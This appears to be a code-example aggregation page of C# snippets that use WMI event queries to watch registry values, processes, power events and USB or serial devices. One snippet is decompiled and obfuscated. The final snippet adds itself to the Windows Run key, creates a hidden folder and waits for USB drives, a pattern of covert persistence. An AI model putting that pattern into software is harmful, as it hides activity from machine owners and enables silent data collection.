Beispiel #1
0
        /// <summary>
        /// Initializes a new instance of the <see cref="Program"/> class.
        /// </summary>
        public Program()
        {
            try
            {
                // Your query goes below; "KeyPath" is the key in the registry that you
                // want to monitor for changes. Make sure you escape the \ character.
                WqlEventQuery query = new WqlEventQuery(
                     "SELECT * FROM RegistryValueChangeEvent WHERE " +
                     "Hive = 'HKEY_LOCAL_MACHINE'" +
                     @"AND KeyPath = 'SOFTWARE\\Microsoft\\.NETFramework' AND ValueName='InstallRoot'");

                ManagementEventWatcher watcher = new ManagementEventWatcher(query);
                Console.WriteLine("Waiting for an event...");

                // Set up the delegate that will handle the change event.
                watcher.EventArrived += new EventArrivedEventHandler(HandleEvent);

                // Start listening for events.
                watcher.Start();

                // Do something while waiting for events. In your application,
                // this would just be continuing business as usual.
                System.Threading.Thread.Sleep(100000000);

                // Stop listening for events.
                watcher.Stop();
            }
            catch (ManagementException managementException)
            {
                Console.WriteLine("An error occurred: " + managementException.Message);
            }
        }
        // Token: 0x0600057F RID: 1407 RVA: 0x00023A78 File Offset: 0x00021C78
        private void ce1d892d8057ff475a77b5adc3b033e04(Action <EventArrivedEventArgs> cc5311ae3fb065285d00d648f1e2c499f, Action <EventArrivedEventArgs> c66af968a63bc828758428a58a4220347 = null)
        {
            c8182050bde64f716a9855055b4bd295b.ca166dc58c6225570137b6dff36d44d67 ca166dc58c6225570137b6dff36d44d = new c8182050bde64f716a9855055b4bd295b.ca166dc58c6225570137b6dff36d44d67();
            ca166dc58c6225570137b6dff36d44d.c4404a159870bf55bb6f111e66e59e82d = this;
            ca166dc58c6225570137b6dff36d44d.cc5311ae3fb065285d00d648f1e2c499f = cc5311ae3fb065285d00d648f1e2c499f;
            ca166dc58c6225570137b6dff36d44d.c66af968a63bc828758428a58a4220347 = c66af968a63bc828758428a58a4220347;
            WqlEventQuery query = new WqlEventQuery(ceffa389ee86c0ee26f31dd3efacbdd38.c5dd75c94760bfb37727a44ddc794d278(41964));

            ca166dc58c6225570137b6dff36d44d.c775ecebe54de6681e30b2fbca1266e01 = new ManagementEventWatcher(query);
            ca166dc58c6225570137b6dff36d44d.c775ecebe54de6681e30b2fbca1266e01.EventArrived += ca166dc58c6225570137b6dff36d44d.c01ec3af5e565e7531ea9daa785193240;
            ca166dc58c6225570137b6dff36d44d.c775ecebe54de6681e30b2fbca1266e01.Start();
            WqlEventQuery query2 = new WqlEventQuery(ceffa389ee86c0ee26f31dd3efacbdd38.c5dd75c94760bfb37727a44ddc794d278(42079));

            ca166dc58c6225570137b6dff36d44d.ca595951501f754c52f6ba39b8ccf3c97 = new ManagementEventWatcher(query2);
            ca166dc58c6225570137b6dff36d44d.ca595951501f754c52f6ba39b8ccf3c97.EventArrived += ca166dc58c6225570137b6dff36d44d.c35f66702a2b097b5dcc8b463f9f7230d;
            ca166dc58c6225570137b6dff36d44d.ca595951501f754c52f6ba39b8ccf3c97.Start();
        }
        private ManagementEventWatcher _CreateEventWatcher()
        {
            // create event query to be notified within 1 second of a change in a service
            var query = new WqlEventQuery(
                "__InstanceDeletionEvent",
                new TimeSpan(0, 0, 1),
                "TargetInstance isa \"Win32_Process\" And TargetInstance.Name=\"wuauclt.exe\"");

            return(new ManagementEventWatcher
            {
                Query = query,
                Options =
                {
                    Timeout = new TimeSpan(0, 0, 5) // times out watcher.WaitForNextEvent in 5 seconds
                }
            });
        }
        protected ThemeWatcher()
        {
            WindowsIdentity currentUser = WindowsIdentity.GetCurrent();
            WqlEventQuery   systemQuery = new WqlEventQuery(
                "SELECT * FROM RegistryValueChangeEvent WHERE " +
                "Hive = 'HKEY_USERs'" +
                $"AND KeyPath = '{currentUser.User.Value}{ThemeKeyForWMI}' AND ValueName='{SystemValueName}'");

            _systemWatcher = new ManagementEventWatcher(systemQuery);

            WqlEventQuery appQuery = new WqlEventQuery(
                "SELECT * FROM RegistryValueChangeEvent WHERE " +
                "Hive = 'HKEY_USERs'" +
                $"AND KeyPath = '{currentUser.User.Value}{ThemeKeyForWMI}' AND ValueName='{AppValueName}'");

            _appWatcher = new ManagementEventWatcher(appQuery);
        }
        private void Start()
        {
            WqlEventQuery insertQuery = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");

            this.insertWatcher = new ManagementEventWatcher(insertQuery);
            this.insertWatcher.EventArrived += new EventArrivedEventHandler(DeviceInsertedEvent);
            this.insertWatcher.Start();

            WqlEventQuery removeQuery = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");

            this.removeWatcher = new ManagementEventWatcher(removeQuery);
            this.removeWatcher.EventArrived += new EventArrivedEventHandler(DeviceRemovedEvent);
            this.removeWatcher.Start();

            this.btnStop.Enabled  = true;
            this.btnStart.Enabled = false;
        }
Beispiel #6
0
        // not used yet, however, tested and works
        // examples: generic_monitor("Win32_USBHub"); generic_monitor("Win32_DiskDrive");
        public void monitor(string class_name)
        {
            try {
                WqlEventQuery insertQuery = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA '" + class_name + "'");

                ManagementEventWatcher insertWatcher = new ManagementEventWatcher(insertQuery);
                insertWatcher.EventArrived += new EventArrivedEventHandler(device_inserted_event);
                insertWatcher.Start();

                WqlEventQuery          removeQuery   = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA '" + class_name + "'");
                ManagementEventWatcher removeWatcher = new ManagementEventWatcher(removeQuery);
                removeWatcher.EventArrived += new EventArrivedEventHandler(device_removed_event);
                removeWatcher.Start();
            } catch (Exception e) {
                throw new external_drive_libexception("could not monitor for " + class_name, e);
            }
        }
        public static void DevicesAnalytics()
        {
            try
            {
                WqlEventQuery weqQuery = new WqlEventQuery();
                weqQuery.EventClassName = "__InstanceOperationEvent";
                weqQuery.WithinInterval = new TimeSpan(0, 0, 3);
                weqQuery.Condition      = @"TargetInstance ISA 'Win32_DiskDrive'";

                ManagementScope msScope = new ManagementScope("root\\CIMV2");
                msScope.Options.EnablePrivileges = true;
                m_mewWatcher = new ManagementEventWatcher(msScope, weqQuery);
                m_mewWatcher.EventArrived += new EventArrivedEventHandler(m_mewWatcher_EventArrived);
                m_mewWatcher.Start();
            }
            catch { };
        }
Beispiel #8
0
        public WMIReceiveEvent(string str)
        {
            ManagementScope x = new System.Management.ManagementScope("root\\WMI");

            WqlEventQuery query = new WqlEventQuery("SELECT * FROM WMIACPIEvent");

            watcher = new ManagementEventWatcher(x, query);
            Console.WriteLine("Waiting for an event...");

            if (str == "AutoReg")
            {
                watcher.EventArrived += new EventArrivedEventHandler(HandleEvent);

                // Start listening for events
                watcher.Start();
            }
        }
        private void checkfornewoutput()
        {
            WqlEventQuery query = new WqlEventQuery("SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 3");

            watcher2.EventArrived   += new EventArrivedEventHandler(watcher_EventArrived);
            watcher2.Query           = query;
            watcher2.Options.Timeout = new TimeSpan(0, 0, 5);
            watcher2.Start();
            try
            {
                watcher2.WaitForNextEvent();
            }
            catch (Exception)
            {
                //left empty on purpose
            }
        }
Beispiel #10
0
        static NANDService()
        {
            Validator = DefaultValidator;

            // Create event handlers to detect when a device is added or removed
            CreateWatcher = new ManagementEventWatcher();
            WqlEventQuery createQuery = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");

            CreateWatcher.EventArrived += new EventArrivedEventHandler((s, e) =>
            {
                if (NAND == null) // ignore if we already found the Switch
                {
                    IterateDisks();
                }
            });
            CreateWatcher.Query = createQuery;

            DeleteWatcher = new ManagementEventWatcher();
            WqlEventQuery deleteQuery = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");

            DeleteWatcher.EventArrived += new EventArrivedEventHandler((s, e) =>
            {
                if (NAND != null) // ignore if we haven't found a Switch yet
                {
                    if (CurrentDisk != null)
                    { // means the NAND is access over USB, so we need to determine if it
                        ManagementObjectCollection disks = GetDisks();
                        bool found = false;
                        foreach (ManagementObject disk in disks) // search to see if we can match the DiskInfo with an existing device
                        {
                            DiskInfo info = CreateDiskInfo(disk);
                            if (info.Equals(CurrentDisk))
                            {
                                found = true;
                                break;
                            }
                        }
                        if (!found)
                        {
                            OnNANDRemoved();
                        }
                    }
                }
            });
            DeleteWatcher.Query = deleteQuery;
        }
Beispiel #11
0
 public static void InitPowerEvents()
 {
     try
     {
         WqlEventQuery   wqlEventQuery1 = new WqlEventQuery();
         ManagementScope scope          = new ManagementScope("root\\CIMV2");
         wqlEventQuery1.EventClassName = "Win32_PowerManagementEvent";
         WqlEventQuery wqlEventQuery2 = wqlEventQuery1;
         HDAgent.sManagementEventWatcher = new ManagementEventWatcher(scope, (EventQuery)wqlEventQuery2);
         HDAgent.sManagementEventWatcher.EventArrived += new EventArrivedEventHandler(HDAgent.PowerEventArrive);
         HDAgent.sManagementEventWatcher.Start();
     }
     catch (Exception ex)
     {
         Logger.Error("An error occured while capturing power events...Err : " + ex.ToString());
     }
 }
Beispiel #12
0
        static void Main(string[] args)
        {
            ManagementScope scope = new ManagementScope("\\\\.\\Root\\CIMV2");

            scope.Connect();
            string condition = "TargetInstance isa \"CIM_DataFile\" and TargetInstance.Drive=\"D:\""
                               + " and TargetInstance.Path=\"\\\\.\\\\\"";
            WqlEventQuery          query   = new WqlEventQuery("__InstanceCreationEvent", new TimeSpan(0, 0, 5), condition);
            ManagementEventWatcher watcher = new ManagementEventWatcher(scope, query);

            watcher.EventArrived += new EventArrivedEventHandler(HandleFMEvent);//(object sender, EventArrivedEventArgs e) => HandleFMEvent(sender, e, (int)rtype, Output));
            watcher.Start();
            while (!Console.ReadLine().Equals("stop"))
            {
            }
            watcher.Stop();
        }
Beispiel #13
0
    public ProcessObserver(string processName, EventArrivedEventHandler onStart, EventArrivedEventHandler onStop)
    {
        WqlEventQuery startQuery = new WqlEventQuery("Win32_ProcessStartTrace", String.Format("ProcessName='{0}'", processName));

        m_processStartEvent = new ManagementEventWatcher(startQuery);
        WqlEventQuery stopQuery = new WqlEventQuery("Win32_ProcessStopTrace", String.Format("ProcessName='{0}'", processName));

        m_processStopEvent = new ManagementEventWatcher(stopQuery);
        if (onStart != null)
        {
            m_processStartEvent.EventArrived += onStart;
        }
        if (onStop != null)
        {
            m_processStopEvent.EventArrived += onStop;
        }
    }
        private void Window_Loaded(object sender, RoutedEventArgs e)
        {
            var processStartTrace = new WqlEventQuery("SELECT * FROM Win32_ProcessStartTrace");

            processStartEvent = new ManagementEventWatcher(processStartTrace);
            processStartEvent.EventArrived += new EventArrivedEventHandler(ProcessStartEvent_EventArrived);

            var processStopTrace = new WqlEventQuery("SELECT * FROM Win32_ProcessStopTrace");

            processStopEvent = new ManagementEventWatcher(processStopTrace);
            processStopEvent.EventArrived += new EventArrivedEventHandler(ProcessStopEvent_EventArrived);

            processStartEvent.Start();
            processStopEvent.Start();

            ExeFileName = "myTube.exe";
        }
Beispiel #15
0
        private void bw_DoWork(object sender, DoWorkEventArgs e)
        {
            WqlEventQuery insertQuery = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");

            ManagementEventWatcher insertWatcher = new ManagementEventWatcher(insertQuery);

            insertWatcher.EventArrived += new EventArrivedEventHandler(DeviceInserterd);
            insertWatcher.Start();

            WqlEventQuery          removeQuery   = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");
            ManagementEventWatcher removeWatcher = new ManagementEventWatcher(removeQuery);

            removeWatcher.EventArrived += new EventArrivedEventHandler(DeviceRemoved);
            removeWatcher.Start();

            Thread.Sleep(20000000);
        }
Beispiel #16
0
        public static void WriteToEventLog()
        {
            WqlEventQuery          demoQuery   = new WqlEventQuery("__InstanceCreationEvent", new TimeSpan(0, 0, 1));
            ManagementEventWatcher demoWatcher = new ManagementEventWatcher();

            demoWatcher.Query           = demoQuery;
            demoWatcher.Options.Timeout = new TimeSpan(0, 0, 30);
            Console.WriteLine("Open an aplication to trigger an event");
            ManagementBaseObject e       = demoWatcher.WaitForNextEvent();
            EventLog             demoLog = new EventLog("Chap10demo");

            demoLog.Source = "Demo";
            String eventName = ((ManagementBaseObject)e["TargetInstance"])["Name"].ToString();

            demoLog.WriteEntry(eventName, EventLogEntryType.Information);
            demoWatcher.Stop();
        }
    public static void Main(string[] args)
    {
        // Requests sending aggregated events
        // if the number of events exceeds 15.
        String[]      props = { "TargetInstance.SourceName" };
        WqlEventQuery q     =
            new WqlEventQuery(
                "__InstanceCreationEvent",
                System.TimeSpan.MaxValue,
                "TargetInstance isa 'Win32_NTLogEvent'",
                new TimeSpan(0, 10, 0),
                props,
                "NumberOfEvents >15");

        Console.WriteLine(q.QueryString);
        return;
    }
Beispiel #18
0
        /// <summary>
        /// Starts the monitoring.
        /// </summary>
        internal void StartMonitoring(VirtualComPortsFinderMode monitorMode)
        {
            // Clear any existing monitoring if it exists
            StopMonitoring();

            // Add subscriptions to WMI insert and removal events
            WqlEventQuery   eventQuery;
            ManagementScope scope = new ManagementScope("root\\CIMV2");

            scope.Options.EnablePrivileges = true;

            try
            {
                if (monitorMode == VirtualComPortsFinderMode.Added || monitorMode == VirtualComPortsFinderMode.Both)
                {
                    // Subscribe to instance creation events
                    eventQuery = new WqlEventQuery("__InstanceCreationEvent");
                    eventQuery.WithinInterval       = new TimeSpan(0, 0, 3);
                    eventQuery.Condition            = @"TargetInstance ISA 'Win32_SerialPort'";
                    _usbInsertWatcher               = new ManagementEventWatcher(scope, eventQuery);
                    _usbInsertWatcher.EventArrived += UsbInsertWatcher_EventArrived;
                    _usbInsertWatcher.Start();
                    Trace.TraceInformation("{0}.StartMonitoring: Win32_SerialPort insert watcher started", CLASSNAME);
                }

                if (monitorMode == VirtualComPortsFinderMode.Removed || monitorMode == VirtualComPortsFinderMode.Both)
                {
                    // Subscribe to instance removal events
                    eventQuery = new WqlEventQuery("__InstanceDeletionEvent");
                    eventQuery.WithinInterval        = new TimeSpan(0, 0, 3);
                    eventQuery.Condition             = @"TargetInstance ISA 'Win32_SerialPort'";
                    _usbRemovalWatcher               = new ManagementEventWatcher(scope, eventQuery);
                    _usbRemovalWatcher.EventArrived += UsbRemovalWatcher_EventArrived;
                    _usbRemovalWatcher.Start();
                    Trace.TraceInformation("{0}.StartMonitoring: Win32_SerialPort removal watcher started", CLASSNAME);
                }
            }
            catch (Exception ex)
            {
                // Make sure we cleanup properly if there is an error
                Trace.TraceError("{0}.StartMonitoring: Exception={1}", CLASSNAME, ex.GetBaseException());
                StopMonitoring();
                throw;
            }
        }
Beispiel #19
0
        /*-----------------------------------------------------------------------*/
        #endregion


        #region Monitoring
        /*-----------------------------------------------------------------------*/
        /// <summary>Starts the monitoring of device.</summary>
        /// <param name="path"></param>
        /// <param name="mediaEvent"></param>
        public void Monitor(string path, MediaEvent mediaEvent)
        {
            if (null == mediaEvent)
            {
                throw new ArgumentException("Media event cannot be null!");
            }

            //In case same class was called make sure only one instance is running
            /////////////////////////////////////////////////////////////
            this.Exit();

            //Keep logica drive to check
            /////////////////////////////////////////////////////////////
            this.m_logicalDrive = this.GetLogicalDrive(path);

            WqlEventQuery wql;
            ManagementOperationObserver observer = new
                                                   ManagementOperationObserver();

            //Bind to local machine
            /////////////////////////////////////////////////////////////
            ConnectionOptions opt = new ConnectionOptions();

            //Sets required privilege
            /////////////////////////////////////////////////////////////
            opt.EnablePrivileges = true;
            ManagementScope scope = new ManagementScope("root\\CIMV2", opt);

            try {
                wql = new WqlEventQuery();
                wql.EventClassName = "__InstanceModificationEvent";
                wql.WithinInterval = new TimeSpan(0, 0, 1);

                wql.Condition = String.Format(@"TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DeviceId = '{0}'", this.m_logicalDrive);
                this.m_managementEventWatcher = new ManagementEventWatcher(scope, wql);

                //Register async. event handler
                /////////////////////////////////////////////////////////////
                this.m_managementEventWatcher.EventArrived += new EventArrivedEventHandler(mediaEvent.MediaEventArrived);
                this.m_managementEventWatcher.Start();
            } catch (Exception e) {
                this.Exit();
                throw new Exception("Media Check: " + e.Message);
            }
        }
Beispiel #20
0
    private static void MonitorDeviceChanges()
    {
        try {
            var deviceArrivalQuery = new WqlEventQuery("SELECT * FROM Win32_DeviceChangeEvent WHERE EventType = 2");
            var deviceRemovalQuery = new WqlEventQuery("SELECT * FROM Win32_DeviceChangeEvent WHERE EventType = 3");

            arrival = new ManagementEventWatcher(deviceArrivalQuery);
            removal = new ManagementEventWatcher(deviceRemovalQuery);

            arrival.EventArrived += (o, args) => RaisePortsChangedIfNecessary(EventType.Insertion);
            removal.EventArrived += (sender, eventArgs) => RaisePortsChangedIfNecessary(EventType.Removal);

            // Start listening for events
            arrival.Start();
            removal.Start();
        } catch (ManagementException) {
        }
    }
Beispiel #21
0
        /// <summary>
        /// Initializes a new instance of the <see cref="DeviceWatcherBase{T}"/> class.
        /// </summary>
        /// <param name="eventQueryString">The event query string.</param>
        /// <param name="invoker">The invoker.</param>
        /// <param name="output">The output.</param>
        /// <exception cref="System.NullReferenceException">T</exception>
        protected DeviceWatcherBase(string eventQueryString, IInvoker invoker, IOutputDevice output)
        {
            EventQueryString = eventQueryString;
            if (invoker == null)
            {
                throw new NullReferenceException($"{nameof(DeviceWatcherBase<T>)} {nameof(invoker)} can not be null!");
            }
            Invoker = invoker;
            Output  = output;
            Devices = new ObservableCollection <T>();
            var query = new WqlEventQuery(EventQueryString);

            _watcher = new ManagementEventWatcher(query);

            _watcher.EventArrived += (sender, eventArgs) => SearchForDevices(eventArgs);
            _watcher.Start();
            Debug.Assert(_watcher.Query.QueryString == EventQueryString);
        }
Beispiel #22
0
        private void Init()
        {
            WqlEventQuery insertQuery = new WqlEventQuery("__InstanceCreationEvent", Interval, "TargetInstance isa 'Win32_USBControllerDevice'");

            _insertWatcher.Scope         = Scope;
            _insertWatcher.Query         = insertQuery;
            _insertWatcher.EventArrived += _insertWatcher_EventArrived;
            _insertWatcher.Start();

            WqlEventQuery removeQuery = new WqlEventQuery("__InstanceDeletionEvent", Interval, "TargetInstance isa 'Win32_USBControllerDevice'");

            _removeWatcher.Scope         = Scope;
            _removeWatcher.Query         = removeQuery;
            _removeWatcher.EventArrived += _removeWatcher_EventArrived;
            _removeWatcher.Start();

            _isStarted = true;
        }
Beispiel #23
0
        public RegistryChangeListener(string registryKey, EventArrivedEventHandler eventArrivedEventHandler)
        {
            registryKey = registryKey.Replace("\\", "\\\\");
            string text = string.Format("SELECT * FROM RegistryKeyChangeEvent WHERE Hive = 'HKEY_LOCAL_MACHINE' AND KeyPath = '{0}'", registryKey);

            try
            {
                WqlEventQuery query = new WqlEventQuery(text);
                this.watcher = new ManagementEventWatcher(query);
                this.watcher.EventArrived += eventArrivedEventHandler;
                this.watcher.Start();
                RegistryChangeListener.Tracer.TraceDebug <string>(0L, "Registry Watcher Started With Query: {0}", text);
            }
            catch (ManagementException ex)
            {
                RegistryChangeListener.Tracer.TraceDebug <string, string>(0L, "An error occurred when setting registry listener. Query: {0}, Message: {1} ", text, ex.Message);
            }
        }
Beispiel #24
0
        private void Form1_Load(object sender, EventArgs e)
        {
            closePopup();

            WqlEventQuery          insertQuery   = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");
            WqlEventQuery          removeQuery   = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");
            ManagementEventWatcher insertWatcher = new ManagementEventWatcher(insertQuery);
            ManagementEventWatcher removeWatcher = new ManagementEventWatcher(removeQuery);

            insertWatcher.EventArrived += new EventArrivedEventHandler(DeviceInsertedEvent);
            removeWatcher.EventArrived += new EventArrivedEventHandler(DeviceRemovedEvent);
            insertWatcher.Start();
            removeWatcher.Start();

            String CID = Environment.UserName + "-" + Environment.MachineName;

            log(CID, "LOGIN");
        }
Beispiel #25
0
        private void StartUsbEvent()
        {
            using (var watcher = new ManagementEventWatcher())
            {
                var query = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_USBHub'");
                watcher.EventArrived += new EventArrivedEventHandler((x, y) => _dispatcher.Invoke(UpdateDevicesList, DispatcherPriority.Send));
                watcher.Query         = query;
                watcher.Start();
            }

            using (var watcher = new ManagementEventWatcher())
            {
                var query = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_USBHub'");
                watcher.EventArrived += new EventArrivedEventHandler((x, y) => _dispatcher.Invoke(RemoveUsbEventHandler, DispatcherPriority.Send));
                watcher.Query         = query;
                watcher.Start();
            }
        }
        public MainWindow()
        {
            InitializeComponent();

            sp_buffer = new byte[10240]; // 10k memory

            cbPort.SelectionChanged += CbPort_SelectionChanged;
            cbPort.DisplayMemberPath = "PortInfo";

            RefreshCOMs();

            ManagementEventWatcher watcher = new ManagementEventWatcher();
            WqlEventQuery          query   = new WqlEventQuery("SELECT * FROM Win32_DeviceChangeEvent WHERE (EventType = 2 OR EventType = 3)");

            watcher.EventArrived += Watcher_EventArrived;
            watcher.Query         = query;
            watcher.Start();
        }
Beispiel #27
0
        public SerialPortWatcher(MainForm instance)
        {
            // Event Watcher for Device Attach events
            var insertQuery   = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");
            var insertWatcher = new ManagementEventWatcher(insertQuery);

            insertWatcher.EventArrived += DeviceInsertedEvent;
            insertWatcher.Start();

            // Event Watcher for device Dettach events
            var removeQuery   = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");
            var removeWatcher = new ManagementEventWatcher(removeQuery);

            removeWatcher.EventArrived += DeviceRemovedEvent;
            removeWatcher.Start();

            main_form_object = instance;
        }
Beispiel #28
0
        public static void Main(String[] args)
        {
            ManagementEventWatcher watcher = new ManagementEventWatcher();
            WqlEventQuery          query   = new WqlEventQuery("SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2");

            watcher.EventArrived += (s, e) =>
            {
                string driveName = (string)e.NewEvent.GetPropertyValue("DriveName");
                Console.WriteLine("Inserted drive: {0}", driveName);
                var drive = new DriveInfo(driveName);
                Scan(drive.RootDirectory.ToString());
            };
            watcher.Query = query;
            watcher.Start();
            watcher.WaitForNextEvent();

            Console.Read();
        }
Beispiel #29
0
        public MyKadReaderStatus()
        {
            InitializeComponent();

            //SetStatus(ReaderStatus.Remove);
            Init();
            var insertQuery = new WqlEventQuery("SELECT * FROM Win32_DeviceChangeEvent WHERE EventType = 2");

            _watcherAttach = new ManagementEventWatcher(insertQuery);
            _watcherAttach.EventArrived += new EventArrivedEventHandler(WatcherAttachOnEventArrived);
            _watcherAttach.Start();

            var removeQuery = new WqlEventQuery("SELECT * FROM Win32_DeviceChangeEvent WHERE EventType = 3");

            _watcherRemove = new ManagementEventWatcher(removeQuery);
            _watcherRemove.EventArrived += new EventArrivedEventHandler(WatcherRemoveOnEventArrived);
            _watcherRemove.Start();
        }
Beispiel #30
0
        private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
        {
            WqlEventQuery insertQuery = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");

            ManagementEventWatcher insertWatcher = new ManagementEventWatcher(insertQuery);

            insertWatcher.EventArrived += new EventArrivedEventHandler(DeviceInsertedEvent);
            insertWatcher.Start();

            WqlEventQuery          removeQuery   = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");
            ManagementEventWatcher removeWatcher = new ManagementEventWatcher(removeQuery);

            removeWatcher.EventArrived += new EventArrivedEventHandler(DeviceRemovedEvent);
            removeWatcher.Start();

            // Do something while waiting for events
            System.Threading.Thread.Sleep(20000000);
        }
        static void Main(string[] args)
        {
            RegistryKey reg = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

            //Console.WriteLine("Assembly Name -" + splitt());

            if (reg.GetValue(splitt()) != null)
            {
                //Console.WriteLine("Registry is there !!");
            }
            else
            {
                //Console.WriteLine(Assembly.GetExecutingAssembly().Location);
                reg.SetValue(splitt(), Assembly.GetExecutingAssembly().Location);
            }

            if (!Directory.Exists(targetPath))
            {
                DirectoryInfo di = Directory.CreateDirectory(targetPath);
                di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
            }


            try
            {
                //https://stackoverflow.com/a/19435744/4953915
                WqlEventQuery          insertQuery   = new WqlEventQuery("SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");
                ManagementEventWatcher insertWatcher = new ManagementEventWatcher(insertQuery);
                insertWatcher.EventArrived += new EventArrivedEventHandler(DeviceInsertedEvent);
                insertWatcher.Start();

                WqlEventQuery          removeQuery   = new WqlEventQuery("SELECT * FROM __InstanceDeletionEvent WITHIN 2 WHERE TargetInstance ISA 'Win32_USBHub'");
                ManagementEventWatcher removeWatcher = new ManagementEventWatcher(removeQuery);
                removeWatcher.EventArrived += new EventArrivedEventHandler(DeviceRemovedEvent);
                removeWatcher.Start();
            }
            catch (Exception e)
            {
                //ConsoleWrite(e.Message);
            }

            System.Threading.Thread.Sleep(20000000);
            //ConsoleReadKey();
        }